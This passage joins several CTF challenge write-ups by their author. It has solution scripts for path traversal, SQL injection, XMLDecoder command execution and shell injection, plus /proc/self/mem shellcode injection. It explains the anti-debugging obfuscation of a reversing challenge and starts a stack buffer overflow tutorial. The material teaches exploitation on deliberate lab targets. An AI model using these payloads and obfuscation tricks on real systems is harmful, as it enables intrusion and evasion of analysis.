dragon_file: File.open(EXPLOIT_FILE, 'r')
},
headers: {
'Content-Type' => 'multipart/form-data'
}
)
pathing (path traversal)pathing is directory traversal in the URL (if you’re using curl, you’ll need --path-as-is, and other tools and browsers get confused):
PATH = "#{get_url()}/../../../../../../flag.txt"
puts "Requesting #{ PATH }..."
out = ::HTTParty.get(PATH)
sighting (path traversal)sighting is another flavour of directory traversal, this time in an argument:
PATH = "#{get_url()}picture.php?file=../../../../../../flag.txt"
puts "Requesting #{ PATH }..."
out = ::HTTParty.get(PATH)
taxonomy (search SQLi)taxonomy is classic SQL injection in a WHERE string - essentially ' or 1=1)--:
result = HTTParty.get("#{ get_url() }/?search=Nano%27%20OR%201=1)%20--")
dating (XMLDecoder)dating is insecure XMLDecoder usage - you can basically copy/paste reverse shell code.
My solution is a bit complicated because I want to be able to do it without a reverse shell:
TEMP = UUID.generate.to_s
COPY = <<~COPY
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cp /flag.txt /usr/local/tomcat/webapps/ROOT/#{ TEMP }.txt</string>
</void>
</array>
</void>
</object>
</java>
COPY
DELETE = <<~DELETE
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>rm -f /usr/local/tomcat/webapps/ROOT/#{ TEMP }.txt</string>
</void>
</array>
</void>
</object>
</java>
DELETE
# Move the file
HTTParty.post("#{ get_url() }/ProfileServlet", body: COPY)
# Get the file
result = HTTParty.get("#{ get_url() }/#{ TEMP }.txt")
# Delete the file
HTTParty.post("#{ get_url() }/ProfileServlet", body: DELETE)
hoard (shell injection)hoard is another shell command injection issue, this time in a JSON payload:
BODY = {
'hoardType' => 'artifact',
'gold' => '123',
'gems' => '123',
'artifacts' => "123';cat /flag.txt;echo '",
}.to_json
result = HTTParty.post("#{ get_url() }/backend.php", body: BODY)
extinction (ambiguous base64)And finally, extinction is a challenge based on ambiguous base64 - depending on the length of the string, the last bit or two can be changed without changing the value it decodes to (this is based on my poor attempt to write Suricata rules at work):
result = HTTParty.post("#{ get_url() }/index.php?encoded_creds=#{ Base64.strict_encode64('admin:admin') }")
if result.include?('CTF') || !result.include?('AHA')
puts "Something went wrong: the 'bad' request wasn't correctly handled!"
exit(1)
end
result = HTTParty.post("#{ get_url() }/index.php?encoded_creds=YWRtaW46YWRtaW5=")
bug-me write-up or my Linux process injection blog, you may be under the impression that I’ve been obsessed with the ability of Linux processes to write to their own memory.
These challenges are no exception!
You can download source and the challenge (including solutions) here (acaan) and here (drago-daction).
I actually wrote drago-daction first, but decided I wanted a more training-wheels-y version of it so I wrote acaan, which is much more direct.
For what it’s worth, acaan stands for “any card at any number”, which is a plot in magic (card tricks). Volunteer names any card, and any number (between 1 and 52), and lo and behold! The card is at that number. And the audience is amazed - once you explain that it’s a Big Deal.
When you connect to acaan, it prompts you for a file, and offset, and new data to write. Then it does what it says - it writes that data to that offset in that file:
$ nc acaan-d715d4a7.challenges.bsidessf.net 4113
Welcome to ACAAN (Any Computerfile At Any Number)!
Filename?
/etc/passwd
Offset into the file (either decimal, or 0xhex)?
10
Data to replace it with? (Binary is fine - end with "\n.\n" or by closing the socket)
hello
.
Replacing 5 bytes from file /etc/passwd at offset 10! Hope this is everything you were hoping for!
Couldn't open /etc/passwd!
I also provided the source so you can see there are no tricks - it’s exactly what it sounds like.
The challenge is solved by writing to read-only memory by editing /proc/self/mem, my technique du jour:
s = TCPSocket.new(HOST, PORT)
puts s.readpartial(1024)
s.puts('/proc/self/mem')
sleep(0.5)
puts s.readpartial(1024)
s.puts(TARGET_ADDRESS.to_i)
sleep(0.5)
puts s.readpartial(1024)
s.puts(File.read(File.join(__dir__, 'shellcode.bin')))
s.puts('.')
s.puts('.')
sleep(0.5)
check_flag(s.read(1024), terminate: true, partial: true)
The shellcode is pretty standard open / read / write, written by ai and then fixed to actually work:
bits 64
; Open the file
jmp filename
top:
pop rdi
xor rsi, rsi ; Flags = 0 (O_RDONLY)
xor rdx, rdx ; Mode = 0
mov rax, 2 ; Syscall for open
syscall
mov rdi, rax
; Read from the file
sub rsp, 0x100 ; Allocate space on the stack for the buffer
lea rsi, [rsp] ; Load the buffer address into rsi
mov rdx, 0x100 ; Read up to 256 bytes
mov rax, 0 ; Syscall for read
syscall
; Write to stdout
mov rdi, 1 ; Set fd to stdout
mov rdx, rax ; Set the number of bytes to write
mov rax, 1 ; Syscall for write
syscall
; Exit
xor rdi, rdi ; Exit code 0
mov rax, 60 ; Syscall for exit
syscall
filename:
call top
db "/flag.txt", 0 ; Null-terminated filename
drago-dactionYes, I know that draco-daction would have been a better name! I changed the name once and didn’t want to change it again. :)
Although this has a similar payoff to acaan, the path there is much different: this application is vulnerable to a stack buffer overflow which lets you change the filename and offset.
The premise of the challenge is redacting information. The first time it redacts a string, you can overwrite the stack data. The second time, it opens the wrong file and writes to the wrong offset. Once you’ve reached that point, you’re back to acaan, only much more annoying.
First, we create a file with two replaceable strings:
# Create the dragonfile
file = File.new('/tmp/dragonfile.txt', 'w')
# This requires two lines: one to overwrite the pointers, and one to write to
# memory
file.puts("dragon#{ 'B' * 100 }")
file.puts("dragon#{ 'B' * 100 }")
file.close
Then we create our payload, which replaces “dragon” with the payload, which includes an overflow:
SHELLCODE = File.read(shellcode_file.to_path).force_encoding('ASCII-8bit').ljust(PADDING, 'A')
# ...
payload = [
"dragon\n",
"#{ SHELLCODE }#{ TARGET_ADDRESS_STR }/proc/self/mem\0\n",
].join()
We replace some random code at the end of the binary with our shellcode:
# Find a good place to target - we're choosing this line:
# 401751: e8 2a f9 ff ff call 401080 <__stack_chk_fail@plt>
unless `objdump -D #{ EXE } | grep 'call.*__stack_chk_fail@plt' | tail -n1` =~ /^ *([0-9a-fA-F]*)/
puts "Couldn't find __stack_chk_fail call!"
exit 1
end
TARGET_ADDRESS = Regexp.last_match(1).to_i(16)
TARGET_ADDRESS_STR = [TARGET_ADDRESS - ADJUST].pack('V')
And that’s it!
Honestly, it was a bit of a pain to solve, hopefully folks enjoy it!
]]>I’m obsessed with that concept, having messed with writing debuggers a few times (including Mandrake), and blogging about process injection. You’ll find a few challenges influenced by that those concepts thie yar, but this time we’re gonna look at bug-me.
You can download source and the challenge (including solution) here.
The premise of this reversing challenge is:
That cool (cruel?) part of this is that if you run the process in a debugger, the process will (semi-silently) fail to debug itself and the exception will be handled by the debugger, and the exception handler will never run.
So typically, a process will spawn a child process using fork(), and that child runs PTRACE_TRACEME to request debugging. From the ptrace(2) manpage:
A process can initiate a trace by calling fork(2) and having the resulting child do a PTRACE_TRACEME, followed (typically) by an execve(2). Alternatively, one process may commence tracing another process using PTRACE_ATTACH or PTRACE_SEIZE.
The problem with that whole technique is that you can still debug the server (which is debugging its child), and that defeats the purpose of the challenge! I wanted it to be secret-ish.
So here’s what happens: the process uses fork to spawn a child, and that child debugs the parent (which, saw I said, is unusual):
if(!FORK()) {
// We're actually attaching a debugger to the parent, not the child, because
// we don't want users seeing the parent code
pid_t parent = GETPPID();
if(PTRACE(PTRACE_ATTACH, parent, 0, 0) < 0) {
EXIT(0);
}
// Wait for the attach to finish, then resume
int status;
WAITPID(parent, &status, 0);
PTRACE(PTRACE_CONT, parent, -1, 0);
(Don’t worry about the capitalized function names, I’ll talk about that when I cover the obfuscation techniques)
That causes a small race condition, where the program can crash before the debugger actually attaches, so I added a sleep(1) and life’s good!
Let’s have a look at the main function.. it looks pretty innocuous:
int main(int argc, char *argv[]) {
// Fork a child
if(argc != 2) {
fprintf(stderr, "Usage: %s <flag>\n", argv[0]);
exit(1);
}
// Some delay is required to ensure the parent gets its debugger attached
printf("Loading...\n");
sleep(1);
printf("Checking your flag...\n");
// Basic length check, if this is wrong things get weird
if(strlen(argv[1]) != FLAG_LENGTH) {
printf("Flag is not correct!!\n");
exit(0);
}
int i;
check_flag('\0', -1);
int result = 0;
for(i = 0; i < strlen(argv[1]); i++) {
result += (check_flag(argv[1][i], i) == 0 ? 0 : 1);
*((uint32_t*)0) = 0x5754463f;
}
if(result > 0) {
printf("Flag is not correct!!\n");
} else {
printf("Flag is correct!! YAY!\n");
}
return -1;
}
It has some usage, it loops over the argument, and it validates the flag one character at a time.
But you might notice one important detail: this line will crash attempting to write the string WTF? to the NULL pointer:
*((uint32_t*)0) = 0x5754463f;
That’s one of the two exceptions that the debugger will handle. The other one is in the check_flag() function.
check_flag()check_flag() is what you get when you ask Perplexity (AI) to generate a “long function with a lot of math”. Sorry to anybody who actually tried to reverse it:
// You can just ignore this function, it's written by AI and all it needs to
// do is a) be long, and b) cause a SIGFPE somewhere. :)
//
// For each character, it'll get overwritten by new code
int check_flag(int c, int i) {
int a = c;
int b = i;
int result = 0;
// Step 1: Multiply a by b
int product = a * b;
// Step 2: Add the square of their sum
int sumSquare = (a + b) * (a + b);
result = product + sumSquare;
// [...............]
// Step 21-40: Repeat various operations
for (int i = 0; i < 20; i++) {
result += i * a;
result -= i * b;
result *= (i + 1);
result /= (i - 1); // <---------- This will SIGFPE exactly once
}
// [...............]
// Step 181-200: Final arithmetic operations
result += sum;
result -= product;
result *= abs(a);
result /= abs(b) + 1;
return result;
}
The first time the SIGFPE fires (due to divide-by-zero) is when the game starts!
It’s also where the game ends if you’re trying to use a debugger to solve it:
(gdb) run 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
quit
Starting program: /home/ron/projects/ctf-2025/challenges/bug-me/distfiles/bug-me 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Detaching after fork from child process 57137]
Loading...
Checking your flag...
Program received signal SIGFPE, Arithmetic exception.
0x000055555555537f in ?? ()
Also strace:
$ strace ./bug-me 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
execve("./bug-me", ["./bug-me", "CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}"], 0x7ffd39496d98 /* 90 vars */) = 0
brk(NULL) = 0x5653a419a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103403, ...}) = 0
mmap(NULL, 103403, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0f288f5000
close(3) = 0
[...]
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f0f286fea10) = 57528
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
getrandom("\xd4\x92\x5d\xee\xe0\x7a\xe4\x17", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x5653a419a000
brk(0x5653a41bb000) = 0x5653a41bb000
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=57528, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
write(1, "Loading...\n", 11Loading...
) = 11
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffd4937c720) = 0
write(1, "Checking your flag...\n", 22Checking your flag...
) = 22
--- SIGFPE {si_signo=SIGFPE, si_code=FPE_INTDIV, si_addr=0x56539c8c137f} ---
+++ killed by SIGFPE (core dumped) +++
fish: Job 1, 'strace ./bug-me 'CTF{aaaaaaaaaa…' terminated by signal SIGFPE (Floating point exception)
Although there IS a hint in there: clone and SIGCHLD are unusual!
In the debugger process, after attaching to the executable it opens a) its own executable file (/proc/self/exe) and b) its parent’s memory (/proc/<parent pid>/mem):
int code = OPEN(PROC_EXE, 0); // /proc/self/exe
LSEEK(code, 0x13371337, SEEK_SET); // 0x13371337 will get replaced post-compile
char filename[32];
SPRINTF(filename, PROC_MEM, parent);
int memory = OPEN(filename, O_RDWR|O_CLOEXEC); // /proc/<parent pid>/mem
The lseek() value (0x13371337) gets replaced post-compilation with the length of the executable - basically, it fast forwards to the end of the executable file on disk.
When an exception happens, the debugger “fixes” the exception by skipping over the code that caused it:
for(;;) {
// Wait for a signal
int status;
WAITPID(parent, &status, 0);
// Make sure it's the right signal
if(WIFSTOPPED(status)) {
struct user_regs_struct regs;
PTRACE(PTRACE_GETREGS, parent, NULL, ®s);
// Bump RIP up depending on which exception we hit
if(WSTOPSIG(status) == SIGFPE) {
regs.rip += 2;
} else if (WSTOPSIG(status) == SIGSEGV) {
regs.rip += 6;
}
PTRACE(PTRACE_SETREGS, parent, NULL, ®s);
After compiling the binary, we append a bunch of encrypted code to it. After the exception is fixed, we read the encrypted code from the end of the binary, decrypt it, and replace the entire check_flag() function!!:
// The next byte is the "key"
uint8_t key;
READ(code, &key, 1);
// The next 4 bytes are the length of the new function
uint8_t length;
READ(code, &length, 1);
// Read the function (up to 256 bytes)
uint8_t func[256];
READ(code, func, length);
int i;
for(i = 0; i < length; i++) {
func[i] = func[i] ^ key ^ (i << 2) ^ checksum;
}
// Overwrite the code
PWRITE(memory, func, length, (void*)check_flag);
// Continue execution
PTRACE(PTRACE_CONT, parent, -1, 0);
I’ll talk more about the checksum byte in a second, but first, to summarize the debugger:
xor stuff)check_flag function with the new codeI didn’t want to make it TOO easy, so I added a long trail of obfuscations to mess with players!
The debugger isn’t attached in _start or main(); instead, it’s attached in a special kind of function called a constructor, which runs when an ELF binary starts. You can see the code in IDA, and perhaps some tools will alert you that there are constructors, but they’re not super obvious:
__attribute__((constructor)) __attribute__((section(".ctor"))) void __gmon_init__() {
register uint8_t *my_dlsym = ((uint8_t*)dlsym) + 0x1000;
char buf[32];
if(!FORK()) {
[...]
What you’ll also see there is I put the code in a section called .ctor. That doesn’t really do anything, I’m not even sure if it’s a standard name on ELF files. I simply used it to be more confusing - it’s not in the .code section.
And finally, I named it __gmon_init__(), because I noticed several functions with names that start with __gmon_ and wanted to blend in. :)
During testing, I realized you could solve this by modifying the main() function to only check the first character, then the first two, then three, and so on. That wasn’t good!
I decided to incorporate a checksum of main() into all the decryption code. Basically, I generated a one-byte key by adding together every byte in the main() function in memory:
int memory = OPEN(filename, O_RDWR|O_CLOEXEC);
uint8_t main_in_memory[1024];
uint16_t main_length = ((uint8_t*) IGNOREMEPLZ) - ((uint8_t*)MAIN);
PREAD(memory, main_in_memory, main_length, MAIN);
uint8_t checksum = 0;
int i;
for(i = 0; i < main_length; i++) {
checksum += main_in_memory[i];
}
When we embed the code, we calculate the same value from the file on disk:
# We're going to incorporate a checksum of main() to prevent shenanigans
disas_main = `gdb -q -batch -ex 'file ./bug-me' -ex 'disassemble main' -ex 'quit'`
.split(/\n/)
.select { |line| line =~ /0x000/ }
.map { |line| line =~ /(0x000[0-9a-fA-F]*)/; Regexp.last_match(0) }
main_start = disas_main[0].to_i(16)
main_end = disas_main[-1].to_i(16)
checksum = 0
bugme.bytes[main_start..main_end].each do |b|
checksum = (checksum + b) % 256
end
If you modify the binary in any way, that checksum will be incorrect and nothing will decrypt correctly (which causes some weird errors :) ).
That includes adding breakpoints, by the way, so even if you get a debugger attached it’s yet another anti-debug technique!
To avoid having any recognizable strings or libc function calls in the debugger function - gotta fly under the radar! - we store all the functions we need as encrypted strings and decrypt them using these macros:
#define ENC(s,l) (for(enc = 0; enc < l; enc++) { buf[enc] = s[enc] ^ 0xff; } )
#define FNC(f) ((int (*)()) ((void* (*)())(my_dlsym - 0x1000))(NULL, f))
#define FNC2(f, l) ((int (*)()) ((void* (*)())(my_dlsym - 0x1000))(NULL, __gmon_map__(f, l, buf)))
And then stored as encrypted strings:
#define FORK FNC2("\x99\x92\x89\x92", 4)
#define GETPPID FNC2("\x98\x98\x8f\x89\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define EXIT FNC2("\x9a\x85\x92\x8d", 4)
#define WAITPID FNC2("\x88\x9c\x92\x8d\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define LSEEK FNC2("\x93\x8e\x9e\x9c\x9c", 5)
#define SPRINTF FNC2("\x8c\x8d\x89\x90\x99\x81\x95", 7)
#define OPEN FNC2("\x90\x8d\x9e\x97", 4)
#define WAITPID FNC2("\x88\x9c\x92\x8d\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define READ FNC2("\x8d\x98\x9a\x9d", 4)
#define PWRITE FNC2("\x8f\x8a\x89\x90\x83\x90", 6)
#define PREAD FNC2("\x8f\x8f\x9e\x98\x93", 5)
#define MAIN FNC2("\x92\x9c\x92\x97", 4)
#define IGNOREMEPLZ FNC2("\x96\x9a\x95\x96\x85\x90\x9e\x94\x9f\x81\x91", 11)
#define PROC_EXE __gmon_map__("\xd0\x8d\x89\x96\x94\xda\x80\x94\x83\x8b\xc4\x8c\x9f\x80", 14, buf)
#define PROC_MEM __gmon_map__("\xd0\x8d\x89\x96\x94\xda\xd6\x95\xc0\x80\x8e\x84", 12, buf)
I generated them using a quick Ruby script:
irb(main):025:1* ['fork', 'getppid', 'ptrace', 'exit', 'waitpid', 'ptrace', 'lseek', 'sprintf', 'open', 'waitpid', 'ptrace', 'read', 'pwrite', '/proc/self/exe', '/proc/%d/mem'].each do |str|
irb(main):026:1* puts "#define #{ str.upcase } FNC2(\"#{str.bytes.each_with_index.map { |b, i| '\x%02x' % (b ^ 0xFF ^ (i << 1)) }.join }\", #{str.length})"
irb(main):027:0> end
To get the address, we use dlsym (which we do some math on to not be recognizable):
register uint8_t *my_dlsym = ((uint8_t*)dlsym) + 0x1000;
With all that done, there’s no way to see the function names that we’re using, and also no way to reasonably debug it. It’s a pain!
We check the flag one character at a time using a pretty simple piece of C code:
FLAG = 'CTF{hope-you-enjoyed-this-one}'
[...]
# Encode the flag onto the end of the binary
FLAG.chars.each do |c|
Tempfile.create(['matcher', '.c']) do |infile|
a = c.ord % 5
b = c.ord % 7
c = c.ord % 11
infile.puts('int match(char c) {')
infile.puts(" return !((c % 5 == #{ a }) && (c % 7 == #{ b }) && (c % 11 == #{ c }));")
infile.puts('}')
infile.close
[...]
By modular dividing each character by 5, 7, and 11, you get a value that uniquely identifies a character (and also compiles to fairly short code).
I think that’s it!
I hope y’all had fun with this super-obfuscated anti-debugger reversing challenge! It’s both the hardest and my favourite reversing challenge I’ve ever written, and I hope folks appreciate it. :)
]]>My husband’s company recently did an internal (commercial) CTF, and as a CTF nerd I got suckered into helping him. I thought one of the challenges had a pretty interesting solution - at least, something I hadn’t done before - and I thought I’d do a little write-up!
Because it’s a commercial CTF, I wrote my own vulnerability binary, which you can grab here. It’s much, much simpler, but has all the components I wanted. They also provided libc.so, but since I’m not actually running the challenge, you can just use your own copy.
(Note that I’m running the BSidesSF CTF again this spring, and will probably gussy up this challenge a bit and throw it in - don’t let a good challenge go unwasted!)
The CTF challenge was a binary that listens on a network port with a pretty straight-forward stack buffer overflow in a call to fgets().
The difficult part (for me) is that the binary is very simple - there aren’t a lot of libc imports. When I design a CTF challenge, I usually find an excuse to call popen or system or something so the player has access to that address. But nothing like that in this one!
So we we have is:
libc.sofgets() (which allows NUL bytes - see my recent rant about NUL bytes-fno-stack-protector or a time machine)libc.so library) - we’ll talk about why that mattersLet’s see how I approached it!
(If you don’t care about how to disable the randomness for local testing, skip to the next section!)
If you run the binary I made, it asks you to type in a certain number of characters:
$ ./goto-zero
Enter 11 characters then press enter!
^C
$ ./goto-zero
Enter 14 characters then press enter!
I hate randomness when I’m hacking! If possible, I want to be able to test without having to fuss with that sorta thing. So one of the first things I did was find the code that randomizes the number. To do that, you can use Ghidra, IDA, objdump -D. I used objdump -D, which is the worst option, but is quick and free and easy to demonstrate (I also use -M intel because I prefer Intel syntax).
Basically, disassemble the binary and search for the word “rand”, and it’ll lead you to the top of the main() function:
$ objdump -M intel -D goto-zero
[...]
4011e1: bf 00 00 00 00 mov edi,0x0
4011e6: e8 95 fe ff ff call 401080 <time@plt>
4011eb: 89 c7 mov edi,eax
4011ed: e8 5e fe ff ff call 401050 <srand@plt>
4011f2: e8 a9 fe ff ff call 4010a0 <rand@plt>
Seeing time() and srand() called like that tells me they’re seeding the random number generator with the current time. The register edi is the first argument to a function and eax is the return value, so what you’re seeing is essentially srand(time(0));.
What we’d like to do is get rid of all that. The easiest thing is to patch the executable to get rid of the time() call altogether, and just do srand(0). You can do that by finding the sequence of raw bytes in the binary (the middle column in that listing), and “removing” the ones you don’t want (by replacing them with 90 90 90 ... which is nop nop nop ...).
In this case, we want to remove call 401080 (which corresponds to the bytes e8 95 fe ff ff) and the following mov edi, eax (e9 c7). That way, instead of passing 0 into time(), it’ll pass 0 into the following function, srand(), and therefore always call srand(0), which means we’ll always get the same random sequence (a lot of what we do when modifying binaries is finding ways to use the tools we have to do something a little differently - we’ll see that more later).
Open the binary in a hex editor of your choice (I’m using xxd -g1 < goto-zero > goto-zero.hex), search for that sequence, and replace it with 90 90 90 90 90 90 90).
So:
000011e0: ff bf 00 00 00 00 e8 95 fe ff ff 89 c7 e8 5e fe ..............^.
000011f0: ff ff e8 a9 fe ff ff 89 c2 89 d0 c1 f8 1f c1 e8 ................
Becomes:
000011e0: ff bf 00 00 00 00 90 90 90 90 90 90 90 e8 5e fe ..............^.
000011f0: ff ff e8 a9 fe ff ff 89 c2 89 d0 c1 f8 1f c1 e8 ................
Then save it as a binary file again, if your hex editor doesn’t automatically do that (with xxd, you can use xxd -g1 -r < goto-zero.hex > goto-zero.patched). You’ll probably want a different name, because you’ll eventually need the old version. Also, don’t forget to chmod +x the new binary!
If you do all that, then objdump goto-hex.patched, you will see that the code has changed:
$ objdump -M intel -D goto-zero.patched
[...]
4011e1: bf 00 00 00 00 mov edi,0x0
4011e6: 90 nop
4011e7: 90 nop
4011e8: 90 nop
4011e9: 90 nop
4011ea: 90 nop
4011eb: 90 nop
4011ec: 90 nop
4011ed: e8 5e fe ff ff call 401050 <srand@plt>
4011f2: e8 a9 fe ff ff call 4010a0 <rand@plt>
And when you run it, it should always pick the same number:
$ ./goto-zero.patched
Enter 14 characters then press enter!
^C
$ ./goto-zero.patched
Enter 14 characters then press enter!
^C
$ ./goto-zero.patched
Enter 14 characters then press enter!
Note that this won’t work against a remote server, because it won’t be disabled on their end. So you either have to eventually deal with the randomness, or run your payload over and over till it doesn’t crash. :)
I find that removing little annoyances (like randomization) while reverse engineering or exploit dev can save you a TON of mental anguish, and I always suggest looking for ways to make your working environment nicer!
The first thing I do when I’m allowed to input text is to input a lot of text!
Let’s try:
$ ./goto-zero.patched
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Good job, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
fish: Job 1, './goto-zero.patched' terminated by signal SIGSEGV (Address boundary error)
Usually that’s a darn good indicator that you have an overflow - likely a stack overflow, particularly if it’s a CTF :)
We can verify, though! We’re going to use gdb - the GNU debugger! Here’s my config file, the important part is to use intel syntax:
$ cat ~/.gdbinit
set disassembly-flavor intel
set pagination off
set confirm off
Here’s how you’d run goto-zero.patched in gdb (the -q is just for less output, and I added some newlines for easier reading):
$ gdb -q ./goto-zero.patched
Reading symbols from ./goto-zero.patched...
(No debugging symbols found in ./goto-zero.patched)
(gdb) run
Starting program: /home/ron/projects/ctf/goto-zero/goto-zero.patched
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Enter 14 characters then press enter!
Then enter the same (long) input to see what happens:
[...]
(gdb) run
Using host libthread_db library "/lib64/libthread_db.so.1".
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
We can see it crashed in main()! That’s good news! To see the exact instruction it crashed on, you can use disas (to disassemble the full function) or x/i $rip (to eXamine the Instruction at rip (the instruction pointer, ie, the current address):
(gdb) disas
Dump of assembler code for function main:
0x0000000000401196 <+0>: push rbp
0x0000000000401197 <+1>: mov rbp,rsp
0x000000000040119a <+4>: sub rsp,0x40
[...]
0x0000000000401279 <+227>: mov eax,0x0
0x000000000040127e <+232>: leave
=> 0x000000000040127f <+233>: ret
End of assembler dump.
disas is often a lot of output, and doesn’t work without symbols, so I usually use the x/i method:
(gdb) x/i $rip
=> 0x40127f <main+233>: ret
However you do it, we can see it crashes at ret, which is attempting to return from main(). What ret specifically does is jump to the address on top of the stack. We can see that address with x/xg $rsp (eXamine in heX, the Giant (64-bit integer) on top of the stack (rsp)):
(gdb) x/xg $rsp
0x7fffffffe1b8: 0x4141414141414141
So it’s trying to return to 0x41414141414141 (ie, executing code at memory address 0x4141414141414141) and crashing because that is not a valid address! That means we’re successfully overwriting the return address and taking control of the program’s execution!
At this point, I’m often writing a program to start generating a file, then piping that file into the program. We’ll use echo for now (note that the '' in the middle is a visual separator, it doesn’t add anything to the file):
$ echo -ne 'AAAAAAAAAAAAAA\n''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > test.bin
(gdb) run < test.bin
[...]
Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe1b8: 0x4141414141414141
Next, let’s try and figure out exactly where on the stack the return address is. We can disassemble and do math, or we can bruteforce it a bit:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR' > test.bin
(gdb) run < test.bin
[...]
Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe1b8: 0x5151515150505050
According to the top of the stack, we overwrote the return address with a series of (hex) 51 and 50 which, in ascii, is P and Q. That means that the return address is where the Ps and Qs were, so that’s what we need to manipulate. If it’s not cleanly aligned (like you get 0x5251515151505050), just add or remote single characters until you get there).
Note that there are tools that can automate this for you, such as pattern_create.rb and pattern_offset.rb from the Metasploit project, but for something you only really have to do once, I prefer just doing it by hand.
We’re pretty sure we know where in that string the return address is, but I like to verify first by trying to return to a more obvious address like 0x1122334455667788:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO\x88\x77\x66\x55\x44\x33\x22\x11' > test.bin
(gdb) run < test.bin
[...]
Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe1b8: 0x1122334455667788
Note that it’s backwards, because Intel processors are little endian - 0x1234 gets encoded to \x34\x12. Look up “endianness” if you want to know more about that, but the important part is that integers are encoded into memory “backwards”.
I’m always super paranoid, and like to do one further test. There’s a certain machine language instruction, 0xcc (in assembly it’s int 3), which is called a “debug breakpoint”. If the program ever tries to execute the 0xcc instruction, it will crash with an obvious message (something like “breakpoint trap” or “SIGTRAP”). If the program is being debugged, it passes control to the debugger and you can inspect memory or troubleshoot in other ways.
It’s usually possible to find 0xcc in some executable section, so search your output for ` cc `:
$ objdump -M intel -D goto-zero.patched | grep ' cc '
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40119e: 89 7d cc mov DWORD PTR [rbp-0x34],edi
As an important aside: see how the cc instructions are in the middle of other instructions? That’s perfectly fine, the CPU has absolutely no awareness of where an instruction starts or ends (on Intel architectures, at least - on other architectures, instructions must be aligned). We’re going to use that later!
Another quick aside: this only works if the executable wasn’t compiled as a “position-independent executable” (or PIE). The easiest way to tell that is that the executable doesn’t start at address 0. That means when it’s loaded into memory, it’s always loaded at the same address. The same isn’t true for the stack or libc.so, as we’ll see later.
Anyway, the two options for debug breakpoints are 0x401028 and 0x4011a0. Because objdump -D will mindlessly output assembly on non-executable sections, go check which sections those instructions are in:
[...]
Disassembly of section .plt:
0000000000401020 <puts@plt-0x10>:
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
[...]
Disassembly of section .text:
[...]
0000000000401196 <main>:
401196: 55 push rbp
401197: 48 89 e5 mov rbp,rsp
40119a: 48 83 ec 40 sub rsp,0x40
40119e: 89 7d cc mov DWORD PTR [rbp-0x34],edi
[...]
